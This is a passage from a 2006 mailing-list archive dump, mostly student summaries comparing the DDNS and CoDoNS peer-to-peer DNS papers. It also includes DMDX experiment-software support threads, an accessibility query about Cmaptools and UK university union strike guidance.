one of the machines will be overwhelmed, while the rest see less traffic. -- Victoria Krafft ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 02:28:38 -0500",PAPER 11,"SERVING DNS USING A PEER-TO-PEER LOOKUP SERVICE The authors propose DDNS, an implementation of DNS (or more accurately DNSSEC) running on top of DHash, a DHT based on Chord. Although the system is successful in some respects, the authors use its shortcomings to make recommendations on what issues remain in DHTs that limit their effectiveness for DNS. Despite these limitations, there are some immediate benefits from a DHT based system: the challenge in administering DNS servers is greatly reduced, and greater load balancing is achieved by eliminating root servers which typically are under very high load. DDNS still uses CAs and asymmetric cryptography to validate DNS resource record sets which a placed into the DHash DHT. In order to reduce traffic generated in validating records, DHash's demand based replication/caching scheme is used, as well as the speculative inclusion of additional DNSSEC signatures are stored with resource record sets. Simulation of DDNS demonstrates effective load balancing, and effective caching for extremely popular items. However, these items are popular my orders of magnitude of requests, resulting in replication of those objects at every node. The latency of lookups in DDNS are unfortunately more than 7 times longer on average than traditional DNS. Also, dynamically generated records are not supported by DDNS. DDNS is, however, more resilient to denial of service attacks than DNS. THE DESIGN AND IMPLEMENTATION OF A NEXT GENERATION NAME SERVICE FOR THE INTERNET The authors propose the Cooperative Domain Name System (CoDoNS), a distributed DNS service built on top of a DHT using the Beehive replication framework. They begin with a discussion of the limitations of the existing DNS system, mainly its susceptibility to DoS attacks, primitive caching scheme, and susceptibility to server misconfiguration. The Beehive active caching system is analytically driven based on the popularity of objects, greatly reducing the latency of the underlying DHT and addressing a critical issue with other DHT based DNS schemes. The authors also discuss the limitations of traditional DNSs caching scheme against heavy tailed query distributions, and the fragility of the system introduced by manual configuration. Codons uses beehive proactive caching layered on top of a Pastry DHT, and proactively queries the existing DNS system for entries which do not yet exist in CoDoNS. The asymmetric cryptography used in DNSSEC is used is as well for verifying the authenticity of records. A centralized entity is used to sign records brought into Codons from the legacy DNS. The authors tests Codons on 75 machines in the PlanetLab network. They find that the latency of lookups is below that of legacy DNS. They also find that codons is effective in load balancing even against flash crowds. The primary difference between DDNS and Codons is the push type proactive caching used in codons versus request driven caching. As a result it achieves much better lookup latency. Both schemes do however sit on top of a DHT and are designed as gradual replacements for legacy DNS. As a result, they rely to some extent on centralized authorities for validating existing DNS records. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Thu, 02 Mar 2006 02:57:31 -0500",paper 11,"The two papers discuss using P2P networks to perform DNS lookups to address some of the issues that legacy DNS has: largely network resilience and updating. One of the papers uses Beehive over a Pastry ring overlay, which we already discussed in class. It uses proactive replication of popular lookups to achieve less-than-one-hop performance. The MIT DNS system (DDNS) is overlaid on a Chord network (though the exact network overlay is not especially important for theirs). Both DDNS and CoDoNS preserves the hierarchy of legacy DNS by signing data with the key of the next level higher, all the way to the top-level domain and then the root domain. This allows for security in legitimizing the results from a search, but requires many extra queries to go through the key hierarchy, even when popular results maybe have multiple levels cached at one location. In addition, DDNS only performs reactive caching, which is not entirely sufficient to minimize latency. A major issue with these is that the nodes in the network must all be trusted. Even with a signing hierarchy like in DDNS, malicious nodes could attack the network in other ways, via Sybil and Eclipse attacks for instance. Domain Name Service is a critical service that should not be able to be compromised at all, and opening it up to Eclipse attacks might have a similar effect to DoS attacks. This would probably restrict the nodes in the network to certified trusted agents like the current top-level servers. This also removes the worry about nodes not having the resources to handle the latency-sensitive application, but can reintroduce the limited points of failures if the servers are not sufficiently widely distributed. It would be a significant improvement over the single-point of failure of the root domain servers, but it could still present a vulnerability. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Mar 2006 06:59:27 -0700",[DMDX] Re: DMDX not responding,"I'd say you've got shonky video drivers, the item file is straight forward and even without PIO12 output DMDX doesn't do the same thing twice -- and it should absolutely always repeat the same thing twice. Try using the shortcuts for GeForce and or Rally Bad video drivers and see if the problem goes away. At 09:59 PM 3/1/2006 -0500, you wrote: >Jonathan, > >I tried running DMDX on safemode, but the machine still misbehaves. >Here's what seems to be the relevant portion item file: > > PIO12> >10101 ""img0018""/ ""grey2"" <% 4>/ <% 30>/ >""img0025""/ ""grey2"" <% 4>/ <% 30>/ ""img0030""/ >""grey2"" <% 4>/ <% 30>/ ""img0038""/ ""grey2"" <% 4>/; > >Appreciate the help, > >Rich > > > >On 3/1/06, j.c.f. wrote: > > At 08:51 AM 3/1/2006 -0500, you wrote: > > >Jonathan, > > > > > >I have two sample item files I am running, one with PIO12 outputs and > > >one without them. When I run the item file without the outputs, DMDX > > >runs fine and terminates normally (although I have to run the script > > >twice, one time fails, the next works). When I run the item file with > > >the outputs, DMDX will run the file through to the end, but then stops > > >responding. At that point, I have to execute the control+alt=delete > > >command to free up the machine. Any ideas? Thanks, > > > > > > The most common thing to do is to be asking for a response when none are > > mapped. However any machine where DMDX works the second time and not the > > first has to have some serious problems to begin with. As with all > > malfunctioning scripts that are locking a machine up turning > > on will make DMDX poll for and ESC all the time and you'll at least be able > > gain control again without using the three finger salute. > > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Take the bull by the hand and avoid mixed metaphors.",0,0 ,,,RE: [Cmaptools] COE Installation Questions,"Hello fellow educators, Concept mapping in general, and Cmaps in particular, have wonderful potential for my College. However, we aspire to serve as diverse a population as possible, which requires that all of our educational technology is accessible for all persons with disabilities. I have searched the IHMC website as well as the mail list archives, but haven't been able to find an answer to my question: Are Cmaps accessible to people who are blind or have low vision? Can they be read with a screen reader? Is there any literature on the subject? I greatly appreciate your help. Best, ~Jason p.s.- I sent this message yesterday, but I didn't see it appear on the mail archive. If I've cluttered the mail list, please accept my apology. ________________________________________ Jason Gorman Instructional Designer Simmons College Pottruck Technology Resource Center Boston, MA 02115-5898 (P) 617-521-2734 (F) 617-521-3044 ",0,0 Tudor Marian ,egs@cs.cornell.edu,"Thu, 02 Mar 2006 08:14:23 -0500",PAPER 11,"The paper proposes an alternative secure DNS using the hashtable interface provided by a p2p overlay in a straightforward way. The system takes advantage of Chord's fault tolerance and load balancing properties, and eliminates the administrative issues faced by the current DNS deployment. The namespace authority entities are thus decoupled from where the data entries are stored. Although resolved lookups are cached along the return path, the latency incurred by the system is considerable compared with the default DNS (median response time of 350ms as opposed to 43ms in favor of the conventional system). Replicating entries only to six sites to begin with might not be enough, and data could be lost before request replies store cached copies. Also network partitions may yield unexpected scenarios when nodes are unable to lookup names that are part of the same organization because they have been hashed on the other edge of the Internet, while a hierarchical DNS would only sever the connection to the outer world and allow lookup resolves to names in a common subtree. The paper presents the implementation of a backward - compatible alternative DNS system that, like the previous paper is build on top of a structured DHT. Aside the fact that it takes advantage of the same properties given by a p2p underlying overlay (like load ballancing , failure resilience and authority - location decoupling), CoDoNS also addresses the low latency problem using proactive replication. The Beehive replication framework provides an analytical solution to optimal replica placement when the popularity of the items obey a power law distribution, and it is well known that DNS lookups do obey such a model. At the moment, if a lookup is routed towards a home node that does not have the record, another DNS query is issued towards the legacy DNS system. In such a scenario, the latency of a cold start could be significant. Tudor",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 09:49:21 -0500",PAPER 11,"Legacy DNS, as argued by Cox, Muthitacharoen and Morris's ""Serving DNS..."" and Ramasubramanian and Sirer's ""The Design and Implementation"" presenting DDNS and CoDoNS respectively, is fragile with respect to workload and threats it faces today. Both papers describe how the heirarchical nature of DNS and the coupling of phyisical/administrative structure and abstract namespace structure lead to imbalance and tend toward the frequent occurence of human error in DNS. Additionally, Ramasubramanian and Sirer present an indepth analysis of a study on DNS failures and weaknesses including everything from failures due to network and delegation bottlenecks to latency and miconfiguration issues. Both papers present distributed implementations of DNS (DDNS and CoDoNS), hoping to address some or all of these issues. DDNS is a simple ring-based DHT with the addition of passive caching. CoDoNS also builds on a DHT with the addition of Beehive proactive caching (similar to the evaluation used in the Beehive paper). DDNS supports queries on RRSets (from legacy DNS) and includes DNSSEC. CoDoNS is presented as a potial DNS replacement and supports a completely legacy DNS interface along with DNSSEC extensions (using a centralized authority to verify non-DNSSEC DNS records) and an interface to support many current DNS applications (from simple name-to-ip or ip-to-name lookup to services such as Akami). Both papers use real DNS workload measurements to evalute their systems. DDNS is evaluated in a simulated environment against analytical derived legacy performance. The conclusion here is that median response time of DDNS is 350ms compared to 43ms for conventional DNS (on average 10 RPCs without caching in DDNS vs 2 RPCs with legacy DNS). DDNS goes on to argue that a DHT cannot provide performance and features equivalent to legacy DNS. Ramasubramanian and Sirer present wholly different results. This evaluation is conducted on PlanetLab and runs a DNS workload both against CoDoNS and against a legacy DNS implementation. The results of this experiment (along with a strong presentation of how legacy DNS operates) show that legacy DNS incurs a median lookup time of 39ms with a mean of 382ms. CoDoNS on the other hand (thanks to Beehive proactive caching) provides a median lookup time of 1ms and a mean of 106ms (with Beehive average lookup cost set to .5 hops). Additional results show that CoDoNS similarly outperforms legacy DNS in the face of flashcrowds (as expected from Beehive). And the storage cost per node in CoDoNS is roughly 13MB. These two papers present systems which seek to address similar problems in legacy DNS; however, they present two very different results and come to two opposite conclusions. CoDoNS is able to show that many of the issues faced in legacy DNS can be addressed by a distributed system and can provide much better performance at low per-node cost (in constrast to the conclusion made as a result of DDNS). While CoDoNS addresses many of the problems faced by legacy DNS it does not address some new problems arising from the decoupling of namespace management from physical and administrative location. DDNS calls some of these out relating to traditional problems of a node's incentive to cooperate. ",0,0 Sally Butterfield ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Mar 2006 17:24:02 +0000",[DMDX] Re: fixed inter-onset interval for wavs of various lengths,"Jonathan, Thank you for your speedy reply and helpful suggestions: I've tried to incorporate them and have done a few rough & ready measurements of outputs and RTs. I have a few questions. I'm aiming to have a fixed interval of 2600ms from wav onset to wav onset and to record RTs from wav onset. Using the parameters below and three wav files of various lengths, it seems that the interval between an item *offset* and the following item's onset is ~2600 ms. For our purposes, I need the wav onset- wav onset interval to be 2600 ms. Also, the duration of the interval seems to depend on whether a response is made before or after the wav offset -- i.e. if the response occurs after wav offset, then the RT is recorded and the interval is ~2600 ms. So right interval, albeit not intended starting point. However, if the button press occurs before wav offset, then no RT recorded and the interval increases to ~3000 ms. Of course, we hope that the participants will wait until wav offset to respond, but we can't depend on it and we do want to keep the inter-onset interval constant. So I need to measure RTs from wav onset and I wonder if there's a way to avoid possible interaction between when response occurs and the inter wav onset interval? Finally, a general question ... it's tick talk time: Is it generally best to round *down* to the nearest tick - e.g. in this instance, for 2600 ms / 16.59 ms per tick = 156.7 so 156 or should I add in another? ! DMDX 3.0.4.8 ! Dell Latitude ! Refresh rate = 16.59 ! Max Prep A time for this range of wav length < 133 ms so seems ample, if I understood correctly. ! DQ adjusted by 31, 61, 91 ticks for wavs of 500, 1000, and 1500 ms, respectively. ! I believe that the parameter is a default; so it was redundant under these circumstances and I removed it - correct? 0; 0 ""Press spacebar to begin""/; 9999 ""Fingers on the buttons please""//; +1 * ""1500ms"" %125 /; +2 * ""1000ms"" %125 /; +3 * ""500ms"" %125 /; +4 * ""1500ms"" %125 /; +5 * ""1000ms"" %125 /; +6 * ""500ms"" %125 /; +7 * ""1500ms"" %125 /; 0 / ""The End. Thank you!""/; Many thanks for help, Sally At 01:17 02/03/2006, you wrote: >At 11:58 PM 3/1/2006 +0000, you wrote: >>Hello >> >>I'd like to use DMDX for an auditory lexical decision task. My wav files >>vary >>in length, but I want their inter-onset interval (i.e. from start of one wav >>to wav in the next item) to be a fixed interval. Is this possible in DMDX >>somehow or will I need to make my wav files all the same length? > > Display them in a frame that has the longest duration desired and with > a an appropriate parameter (it'll have to be big to allow for > reading the wave files) you'll have a constant start to start time. > > >>The following is just given as a skeleton: it -- i.e. the frame duration >>parameter doesn't now do what I want, but could it or some other >>combination of >>parameters? Apologies if I've overlooked relevant info in the list or help >>files. >> >>! Refresh rate = 16.59 ms >>! Inter-onset interval needs to be 2600 ms >> >> >000255000> >> >>0 ""Press SPACEBAR to start""; >>250 /; >> >>+100 * ""rash""/; >>-200 * ""tranaliate""/; >>+101 * ""balustrade""/; >>-201 * ""blen""/; > > > So you'll have to look in the diagnostics.txt file generated after this > file has run and see how long the Preparation times are and pick a delay > parameter that's suitably longer, say 30 ticks if it's never taking close > to 500ms. Then you'll want to fix the duration of the frames with the > remainder of 125 ticks (less one for the blank frame at the end of the item). > > 000255000> >0 ""Press SPACEBAR to start""; >250 /; >+100 * ""rash"" %125 /; >-200 * ""tranaliate"" %125 /; >+101 * ""balustrade"" %125 /; >-201 * ""blen"" %125 /; > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Take the bull by the hand and avoid mixed metaphors. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >====================================================================",0,1 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 10:58:23 -0500",PAPER 11,"CoDoNS This paper describes the CoDoNS system that is a peer to peer network for Domain Name Systems used on the Internet for address translations to increase performance and resilience to Denial of Service Attacks and faster propagation of updates. This network is based on the Beehive system that implements an effective replication policy based on choosing different levels of replication based on different objects and their usage. Thus by placing cached copies one level up in the lookup the number of hops required can be reduced by one at each level. Thus choosing different levels for different objects based on certain criteria helps in reducing the latency for a query. AS can be seen from the graphs initially as the system starts up the latency is high compared to traditional DNS systems but then as more and more objects are replicated with each request the latency of the system decreases as more cached copies are returned at higher levels in the system and thus reducing the number of hops and latency. The gain in latency is very high and the median latency is around 2 milliseconds compared to around 39 milliseconds for conventional DNS systems. This system uses public key cryptography to ensure security of the resources and the certificates are used for data verification between servers. Serving DNS using a Peer-to-Peer Lookup Service This paper also discusses the implementation of a DNS system that is based on an underlying peer to peer system though the underlying system in this case is based on Chord unlike beehive in the other paper. The authors states that their systems performance for DNS lookup is worse than the conventional lookup by about 10 times they claim that their lookup is better for searches with high latency and that all their queries would succeed. This approach seems to suggest a very underperformed system that is good for only the worst cases. ",0,0 Yvonne Aburrow ,aut-discussion@bath.ac.uk,"Thu, 02 Mar 2006 11:13:19 +0000",URGENT Strike/ASOS advice (fwd),"This is a particularly timely email from Justine Stephens, as I have already received an enquiry from someone whose head of department has asked if they are going on strike. You are not obliged to tell them. ------------ Forwarded Message ------------ Date: 01 March 2006 16:09 +0000 From: Justine Stephens To: Info Cc: Matt Waddup , julian.nicholds@nus.org.uk Subject: URGENT Strike/ASOS advice Distribution: LA Presidents/LA Secretaries/LA Administrators/AUT Executive/All AUT Staff Dear All, A (relatively!) brief but important email! Guidance on Strike and Action Short of a Strike (ASOS): A large number of members have contacted us asking if they should respond to management enquiries regarding participation in industrial action. Please note and pass on to all your colleagues that if you receive any such communication from management that you are under *NO* obligation to inform management (HR/HoD etc) in *ADVANCE* as to whether you will be taking part in strike action or action short of a strike. If members are approached *AFTER* the strike date we do advise you to indicate that you did partake in strike action. In terms of Action Short Of a Strike (ASOS) the advice is again, you do NOT need to notify you HoD/line manager etc in advance. Once ASOS has begun and if you are approached, you are advised to indicate that yes, you are participating in the action. You do NOT need to inform which SPECIFIC duties that means you as an individual will not be doing. You SHOULD rather reply that you are taking part in ASOS as outlined by the formal notification received from AUT nationally. For full, comprehensive guidance please refer members to: http://www.aut.org.uk/media/pdf/1/c/aut_guidetoaction.pdf (general guidance) http://www.aut.org.uk/media/pdf/1/n/aut_lapicketingguidance.pdf (strike guidance) http://www.aut.org.uk/index.cfm?articleid=1523 (ASOS guidance). Please direct any specific enquiries to Paul Cottrell: paul.cottrell@aut.org.uk A number of LAs have requested detailed advice regarding the possible implications on pensions. Please find the guidance here (thanks to Bill!): http://www.aut.org.uk/media/pdf/1/c/industrialactionandpensions.pdf A few institutions have issued threats to withhold pay from members participating in the student assessment boycott. Some have said that a proportion of pay will be withheld; one or two have even threatened to stop all pay until members agree to resume their full duties. We will examine the legality of all such threats and respond accordingly. But the best response to employers who want to escalate the dispute in this way is to strengthen the action. Punitive employers should remember that if pay is docked for work not done, that work may never be carried out. Employers will then be responsible for clearing the ""backlog"" when the action is over and may find themselves vulnerable to litigation from students. IF there is to be ANY work by our members following the resolution of the dispute to avoid lasting damage to students, arrangements for carrying out that work will have to be negotiated with us. We won't even contemplate entering into negotiations until the pay withheld from our members has been restored to them. Watch the website for more information. Local Offers? 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For more information please visit http://www.messagelabs.com/email ______________________________________________________________________ ---------- End Forwarded Message ---------- Yvonne ~~ Yvonne Aburrow Bath AUT Secretary http://www.bath.ac.uk/aut/ +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk How to subscribe/unsubscribe to/from aut-discussion: Just send an empty note to one of these addresses: : Receive future messages sent to the aut-discussion mailing list. : Stop receiving messages for the aut-discussion mailing list.",0,1 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 11:23:55 -0500",paper 11 - DNS,"SERVING DNS USING PEER-TO-PEER.. the authors point out to various flaws in the current DNS system: 1) malicious people can impersonate DNS servers as IP addresses can be forged 2) most common name server problems are configuration errors ( appx 35% of queries suffer due to incorrect configurations) 3) the root serves as a single point of failure and attack (especially DoS attacks) the authors suggest serving DNS data over the chord network thereby eliminating the concept of a root server. This provides better robustness against Dos attacks. BASIC IDEA : separate the authentication of data from the the service of that data the paper discusses DNSSEC mechanisms which use public-key cryptography for signing resource sets. Each resource set is signed with the public key for the enclosing domain (until the root is reached). DDNS stores and retrieves resource record sets using Chord-based distributed hash table. Verifying a DNS RRSet for a name with n path elements requires n KEY lookups. in order to address this problem the authors allow the owner to present additional relevant KEYs in the RRSet. KEYs for popular resource sets can be omitted to decrease size of response based on the assumption that it would be widely cached. the authors themselves state that their system has significantly higher latencies and other disadvantages in comparison with conventional DNS. the O(log N) lookup time is not appreciable for latency critical applications like DNS. Accepting a system which is slower than the current system (DNS needs appx 2RPCs) would be another social aspect to overcome. low-latency P2P applications will also suffer due to the high latency of this new system. Chord performance gets worse in case of malicious nodes which may choose to be alive but not respond or simply forward incorrect information. DNS USING BEE-HIVE the authors point to the load imbalance due to the skewed distribution of names under popular domains. they point to the dilemma of choosing a TTL for cached records in legacy DNS systems. BEE-HIVE: it places copies of the object at all nodes nodes one hop prior to the home node in the request path, reducing the lookup latency by one hop. it minimizes the total number of replicas subject to the constraint that the aggregate lookup latency is less than a desired constant. ( object frequencies being updated every aggregation interval) OTHER DETAILS: in order to allow the CoDoNS to gradually grow into a globally recognized system, the authors have incorporated compatibility to the legacy DNS. NXDOMAIN responses are cached temporarily to preserve the capacity of the system. FLASH-CROWD EFFECT: represents the worst case for CoDoNS. graphs show a temporary increase in the median latency for flash-crowd effects. it takes appx 7 hours to achieve normal latency times. the churn for a look-up system should be low and bee-hive performance is very good for systems with low churn. ",0,0 """Ryan S. Peterson"" ",Gun Sirer ,"Thu, 02 Mar 2006 11:25:45 -0500",PAPER 11,"After repeated attempts to send this to egs+summary last night and this morning, the mail server refuses. Says egs+summary is an invalid user... This week we explore the issue of DNS, which currently exists as a centralized hierarchical entity with several limitations. Cox, et al. notes that most DNS traffic is caused because of faulty or misconfigured name servers, suggesting that a less error-prone solution is in order. The authors implement a name server on top of Chord, a peer-to-peer DHT. Using a DHT to serve names improves DNS by reducing errors due to configuration problems, providing better load balancing, and defending against DoS attacks. The paper focuses on separating DNS record validation from the lookup algorithm, as is true with today's DNS service. However, the author's conclude that using Chord is a worse solution because of its O(log n) lookup time, and propose that researchers investigate more efficient ways for serving DNS requests in a distributed manner. Rama and Gun take the MIT guys' challenge with a system called CoDoNS. CoDoNS is a DNS service implemented on top of Beehive. Beehive is a ring-based peer-to-peer system that proactively replicates objects based on their popularities, which studies have shown follow a Zipf power-law distribution for DNS and many other types of queries. If enough institutions around the world dedicated one or two nodes, they could become part of a new decentralized DNS service with load balancing and, unlike the MIT guys' approach, average constant record lookup time. In order to validate entries in the system, each entry can use public key cryptographically for authentication, separating authentication from entry lookup. As an added benefit, the authors add support for slowly introducing CoDoNS into common use, or else using legacy DNS as a safety net for CoDoNS. When a lookup reaches the home node (where home node is defined as in Beehive), if the home node does not contain the entry, it can send a legacy DNS query and forward the response back to the client. Thus, CoDoNS offers the load balancing properties and other benefits of other distributed DNS systems, but is practical for use in the real world because of its efficient lookup times. Ryan ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 11:29:06 -0500",PAPER 11," DNS using Peer-to-Peer lookup: The authors attempted a more-or-less naive implementation of DNS via a distributed hash table (built on Chord). They measured the performance of their system, and showed that it increased average latency by over a factor of 8. Moveover, their system does not support any of the more interesting uses of DNS, such as dynamic server choice. They conclude that something much more clever would need to be done to support DNS via a distributed hash table. It seems as though the authors were setting themselves up for failure. Chord is by no means the best available DHT for performance, and the caching system their system implemented was not designed for this specific problem. Showing that the most naive implementation imaginable performed poorly does not provide strong evidence that moderate optimization might not have improved performance drastically. As the CoDoNS result shows, using a DHT with better caching performance can greatly alter the conclusion. Next Generation Name service [CoDoNS] The CoDoNS authors first demonstrate that the current domain name system has serious architectural flaws. The TTL based caching and hierarchical resolution is inflexible, concentrates load at the root, and performs badly with dynamic server selection. Moreover, DNS servers are often configured badly, suggesting that the process should be automated to reduce human error. The authors suggest using Beehive to ensure O(1) lookup. (In fact, they suggest sufficient replication that the expected number of hops per lookup is .5 -- that is, half the queries will hit the cache immediately. The system should thus give reliable and flexible resolution for DNS queries--all without breaking existing clients. They ensure trust by leveraging existing work on DNSSEC; essentially replacing the DNS server hierarchy with a public key hierarchy. One of the consequences of using Beehive/Pastry is that the home node for a given DNS record might be located at some distant server on the internet. This is doubtless upsetting to IT staff, as well as a likely performance penalty. The authors propose to handle malicious servers by using the Castro et al secure routing algorithm; this seems both excessively costly, and possibly inadequate. A malicious home node might return NXDOMAIN messages for a live domain name; to prevent this, every query would need to use the Castro algorithm (or at least every query that didn't return a valid domain name record). Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Yvonne Aburrow ,aut-discussion@bath.ac.uk,"Thu, 02 Mar 2006 11:48:37 +0000",AUT announcement,"Industrial action still going ahead - 'employers must make an offer' says AUT * The AUT confirmed today that next week's industrial action is going ahead as planned after the employers' group, the Universities and Colleges Employers' Association (UCEA), revealed yesterday that it would not meet with the unions until later this month. * In a letter to the AUT, the chair of UCEA Geoffrey Copland, wrote 'we are making arrangements for meetings on the afternoon of Tuesday 28 March and on Tuesday 25 April, and will arrange such further dates as may prove necessary? I can confirm that it is the employers' intention to make an offer at an early stage in these negotiations.' AUT general secretary, Sally Hunt, said she was 'baffled' by the letter, which appears to promise a pay offer, but not until the end of the month. Members of the AUT, along with sister union NATFHE, will strike on Tuesday (7 March) and begin an assessment boycott the following day (8 March). The unions have been asking the employers to settle the pay claim since the autumn. The employers have yet to make any kind of pay offer at all and until they do so the industrial action will continue as planned. AUT general secretary, Sally Hunt, said: 'Our position is quite clear and the employers are fully aware of it. The industrial action starts next week and will continue until the employers make us an acceptable offer that we can put to our members. 'If the employers know they are going to make an offer at these meetings why don’t they do it now so that millions of students do not have to suffer? I am baffled by their approach, which can only harm students and staff. The pay dispute could have been settled by now if they had spent the last couple of months holding talks and making pay offers, instead of trying to sabotage our industrial action ballot. 'Our members have endured enough false dawns and broken promises from the employers and our action will be called off when we have a proper offer and not before. We will meet them of course but the time for them to act on pay is now, not in a month’s time.' * * Contact: Press officer, Dan Ashley (press@aut.org.uk) Tel: 020 7670 9705 | Mob: 07789 518 992 ************************************* Yvonne ~~ Yvonne Aburrow Bath AUT Secretary http://www.bath.ac.uk/aut/ +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk How to subscribe/unsubscribe to/from aut-discussion: Just send an empty note to one of these addresses: : Receive future messages sent to the aut-discussion mailing list. : Stop receiving messages for the aut-discussion mailing list.",0,1 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 11:53:10 -0500",PAPER 11,"Current DNS confronts a lot of problems, many of which can be solved with the properties of fault tolerance and load balance in peer-to-peer systems. Among the two works to be discussed today, DDNS concludes that a naive application on top of DHT is inadequate to provide name service due to its high latency, while CoDoNS solves this problem by its proactive caching layer: Beehive, and provides fast update propagation in addition. Problems of current DNS: * About 80% domains set up only two or one name server, and 32% name servers are connected to Internet through a single gateway or router. They can be disabled by small-scale attacks. Name servers on top levels of the hierarchy and those for popular domains are easily subject to denial of service attacks. * Its hierarchical structure implies more loads on servers at higher levels than lower levels. * 35% of DNS queries never receive an answer or a negative answer. Many of them are caused by configuration errors. * 40% DNS records have TTLs of one day or more. Cache coherency can't be guaranteed and unanticipated changes can't be fast disseminated. Serving DNS provides better load balance since the concept of root servers is eliminated. Due to its nature of decentralization, attackers have to take down a set of servers to make the records unavailable. Each name owner is responsible for the correctness of its records. No sub-domain delegation is needed. One important feature to support DNS using DHT is the ""separation of name resolution from verification in DNS"" (DNSSEC). It enables the exploration of alternative storage and lookup systems for DNS records. * DDNS is designed on top of Chord. All the properties of DHT remaining the same, the only shortcoming of DDNS compared with DNS is its lookup latency. * CoDoNS achieves low lookup latency by its proactive caching layer, Beehive. Other contributions of CoDoNS include its remarkable resilience to denial of service attacks and quick propagation of record updates. * The implementation of CoDoNS provides an incremental deployment path. It can serve as a supplement as well as a complete replacement for the legacy DNS. * A client sends a query to its local CoDoNS server. The CoDoNS server replies immediately if it has a cached copy of the record. Otherwise, it routes the message within the system according to Pastry's protocol. The routing terminates either at a node that has a cached copy or at the home node of the record. If the home node has no this record, it retrieves it from the legacy DNS and respond to the CoDoNS server which replies to the client. In the background, CoDoNS proactively replicates records according to their measured popularity. * Direct caching and negative caching are supported in CoDoNS. * CoDoNS is particularly resilient to denial of service attacks because (1) hotspots have more replicas in Beehive's replication framework; (2) Beehive quickly detects changes of access to records and spreads replicas among more nodes in the occurrence of denial of service attacks. * Selection of a suitable TTL value is a dilemma in DNS. Long TTL makes it difficult to maintain cache consistency. Short TTL decreases the cache hit ratio and increases the lookup overhead. In CoDoNS, the home node stores the record according to the TTL specified by DNS. Once expired, it re-fetches the record from DNS and propagates if the record is updated. The analytical model of Beehive is applicable to DNS workload since it follows a Zipf-like distribution. * The experimental results show that the median lookup latency of CoDoNS is lower than that of the legacy DNS. Besides, 98% of the replicas are updated within one second even for level-0 records in CoDoNS. Relocation of services can therefore be disseminated quickly. One feature of DNS that can't be replaced so far is the ""dynamic name resolution"". The name server prompts different mapping according to the status (loads or failures) of its application servers or to route clients to nearby servers. CoDoNS forwards queries to the domain name that implements this feature to its legacy DNS server.",0,0 Kevin ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 11:53:59 -0500",PAPER 11,"Serving DNS using a Peer-to-Peer lookup system a look at many of the problems the current DNS system has and tries to fix it using a p2p network. The problem with their approach is that they broke a lot of good things current DNS has going for it. The paper talks extensively about the misconfiguration of current DNS servers and how difficult it is to get them correct. The claim is that a DHT based p2p system will be able to scale better and provide far more security due to less misconfiguration. The protocol they use signs messages received from the CHORD implementation (which is log[2](n) unlike pastry and others which are log[16](n)) to verify security. For the sake of latency, one node sends out multiple RRSets with its response in order to cut down on lookup time. The system uses passive caching along the path the message traveled (this is where CoDoNS comes in to help) but this does not help latency. Another problem the paper fixes with current DNS is the slow response time of servers to update their entries: because of the caching scheme they currently use, entries might not be updated for days. In the end, the system is significantly slower than current DNS. The problem they are trying to solve is security (by not having a single point of failure) and stability but they crippled the system's responsiveness, basically making it unusable (taking the average DNS response time up over 7x). Furthermore, it seems odd that they are writing a paper to say that stability is a problem because of a software issue. Either new software needs to be written or an easier way to manage it needs to be thought up, switching over to a p2p infrastructure does not make total sense just for stability. CoDoNS ([Co]operative[Do]main[N]ame[S]ervice) uses a Pastry network with Beehive active replication in order to speed up delivery of content. Using beehive makes it possible to have sub-1 hop average lookup times, significantly decreasing the latency of the p2p content delivery. As a matter of fact, in their tests on PlanetLab, CoDoNS gets better performance than the current DNS system. The system therefore fixes many things wrong with current DNS: single point of failure is no longer a problem. Latency is less of an issue with the reduced lookup times and more active caching. Flash crowds and popular nodes are handled (load balanced and locally cached) quickly. Security is handled by DNSSEC, signing records that are sent out can be verified without even needing to keep public keys online. The only issue I see is the question of motivation at this point. Would ISPs and others want to switch their current systems over to a CoDoNS system. Free loaders would be an issue with this system (although solvable). ",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 11:55:53 -0500",Paper 11," The DNS uses hierarchical structure, and it is partitioned into non-overlapping region called domains. DNS delegates the responsibility for each domain to a set of replicated nameservers. It passively caches the result in server with a TTL corresponded to it. There are many existing problems in the current DNS implementation. Name servers are difficult and time-consuming to administer. Loads are imbalance across servers and are frequently subjected to Dos attack because of its hierarchical structure. They are not resilience to attack and failure. Also, because it maintains passive caching in DNS and it does not know where all the copies are, it is difficult to propagate updates. The two papers talk about how to build peer-to-peer DNS service which solves some of the problems in the existing DNS. The first paper, ""Serving DNS using a Peer-to-Peer Lookup Service,"" presents a domain name system, DDNS, which built on top of a DHT. It uses Chord as underlying DHT to store record, which is a mapping between name and ip. Therefore, it inherits the fault tolerance and load balancing properties in DHT. It uses DNSSEC which separates the authentication of data from the service of that data. DNSSEC uses public key to sign each record. It also removes the administrative problems because of its flat namespace. There are many advantages using the peer-to-peer DNS, but this paper also presents some of the limitation of DDNS. Because of the heavy tail of query distribution, unpopular contents will take up to log(n) number of hops to reach the record. Their experimental result shows that median latency of lookups in DDNS take about 350ms while conventional DNS's is about 43ms. Although this paper does not address how to overcome the limitation of peer-to-peer DNS, the next paper shows how to achieve low lookup latency in peer-to-peer DNS. The second paper, ""The Design and Implementation of a Next 